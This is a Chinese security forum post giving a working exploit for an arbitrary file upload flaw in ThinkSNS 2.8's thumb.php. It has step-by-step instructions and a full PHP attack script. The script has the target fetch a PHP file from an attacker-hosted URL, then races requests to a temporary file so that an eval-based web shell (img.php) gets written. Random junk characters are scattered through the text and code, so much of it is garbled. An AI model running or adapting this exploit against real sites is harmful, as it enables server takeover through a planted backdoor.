找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2398|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本
! z, \8 C4 _9 J存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)2 k4 m4 [( J  a1 }+ i$ o
漏洞文件% b6 w* w2 a7 A% ~$ a
存在漏洞的文件为:thumb.php
) l. |( G& J- d$ M9 f作者:韦鲲鹏5 O, r1 N9 T3 t! H( y
1、        准备如下PHP文件并上传到服务器(自己的)。) |- a. Z8 I" a9 M* m5 L4 r9 b
文件内容如下:
9 G6 P& A& s; h* Y, k$ h4 ]<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>0 W4 E4 s* `& ~9 ^
2、        计算出临时的文件名:# d" H$ p7 W3 m( p6 l! `
这里我们可以看文件的99行(刚刚是不是没注意呀!)。
7 i4 W+ s) N9 q% L" Q' D% l! M- J7 _3 q+ A. l, T2 O
3、        上传临时文件。
! V3 c- Y6 t; O( m8 v7 a" D3 @4、        访问临时文件。
0 h9 \- v% q+ h& O但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
9 Z1 b1 @/ }4 X  hExploit文件内容如下:(这个我就不详细解释了)
" ]! H  t1 \( V<?php+ x" K( y% d" m. w. s
error_reporting(0);
; Z5 z/ u- L1 h* a( ?; B1 I$ n6 Qset_time_limit(0);7 \2 |7 L# a8 }0 `
ini_set(“default_socket_timeout”, 5);0 i6 x7 N  l+ ?5 X
function http_send($host, $port, $headers) {
% W. U# X. N7 c5 k$ \# o& m) R) T$fp = fsockopen($host, $port);
$ {6 V6 p3 |$ s/ n: c. `7 gif (!$fp) die(‘Connection -> fail’);
9 s9 g0 h+ t1 i4 J0 ]fputs($fp, $headers);
; V: D, z! x: V0 B2 u" mreturn $fp;
* ~8 f/ X  O( J8 E" K}
+ O+ k3 Y1 c, V0 `7 I0 \8 }) C6 xfunction http_recv($fp) {; O. w4 C( t2 w' l4 |# W: L
$ret=”";
0 V0 `0 p" Q  q, p0 }3 ]( ?8 ywhile (!feof($fp))
: I3 M% x. J! S$ E$ret.= fgets($fp, 1024);
* ?! s; j% c. g5 Sfclose($fp);6 N( \* b# s6 Z6 p6 f7 p: m0 j
return $ret;
. \- P& @- N+ x}% G1 ^7 Y0 A% k9 b! T6 R6 [1 j( k
print “\n#  ThinkSns Arbitrary File Upload   #\n”;8 n7 N4 x4 F6 }/ @9 g) d
print “# Discovered by 韦鲲鹏 #\n\n”;
/ @$ `0 P/ c6 t& zif ($argc < 4) {9 f9 s' z) e7 P3 {7 P( X# Y
print “Usage:   php <host> <path> <romote_url>\n”;
; Y" Q* c9 r, _6 @& ?. Wprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
9 f. R4 G6 B. Z2 ~  bdie();
  s3 }# j3 A. y5 h5 j}
7 n" j" f2 r* h3 C1 i& j: i$host = $argv[1];
# T5 H& Y: W, M$path = $argv[2];
, E' i7 m5 C- s) x% j, ?+ x$url = $argv[3];
2 E& A8 ?8 y. M3 g  N$i=0;
8 S/ l! q- k1 W! \//上传数据包" J7 g* c8 ^+ D1 z9 n
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
) \5 z3 {& Z" M0 J  _  g/ k! V2 u) T$headers_up .= “Host: “.$host.”\r\n”;- S2 M- D8 f: o- G: t) w  m. ?
$headers_up .= “Connection: close\r\n\r\n”;0 s; Y6 T' k1 S: q) m
echo $headers_up;
% v* x# z/ |' ~4 }) K: C//临时文件访问数据包& H, b+ S# r6 T: c  ?: d
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
+ L( L& [: K% n+ S2 {6 [# C- R$headers .= “Host: “.$host.”\r\n”;
/ d! s) n* [0 Y9 f% P4 \/ q+ j$headers .= “Connection: close\r\n\r\n”;5 z6 A( p% J5 o) ?5 h
echo $headers;
, R# M/ o) t% h8 [& }+ K" s  qwhile(++$i<10) {
1 Z8 g8 s2 c: M8 T# D0 tfclose(http_send($host, 80, $headers));
. n# K) C) W/ ]; R+ w" O}
8 H' r6 V# s2 Q7 V9 p8 W; wfclose(http_send($host, 80, $headers_up));* N2 ]- t% f% i( c: j  R" T' a9 X
while(++$i<50) {
7 }2 {  ?3 O- bfclose(http_send($host, 80, $headers));6 M! \0 y6 T" I: S. }
}
8 x+ \, x. ]/ ^( U; @& w# @$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
0 J# P5 g; ]' S, K$ i# b$headers .= “Host: “.$host.”\r\n”;$ R  i2 G, e7 w0 u' S- g: a; \6 }
$headers .= “Connection: close\r\n\r\n”;
4 `2 N+ s& _* D; q6 @/ X8 Y$res=http_recv(http_send($host, 80, $headers));. v3 d- ~0 ^, ?. s" K/ e( }8 z
if(preg_match(‘/200 OK/’,$res)) {
" ?. ?* D2 t* s  L% E2 r- [3 yprint “Success!\n\n”;
- |& I+ ]2 ]' G5 B- s} else {' f0 j; u8 q$ J/ Z7 W$ V# R! }
print “Fail!\n\n”;
/ W2 v* g  \! |% a3 t}
: G4 \5 ?; }4 P?>/ W6 j8 O, _" |% C  {* J2 x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表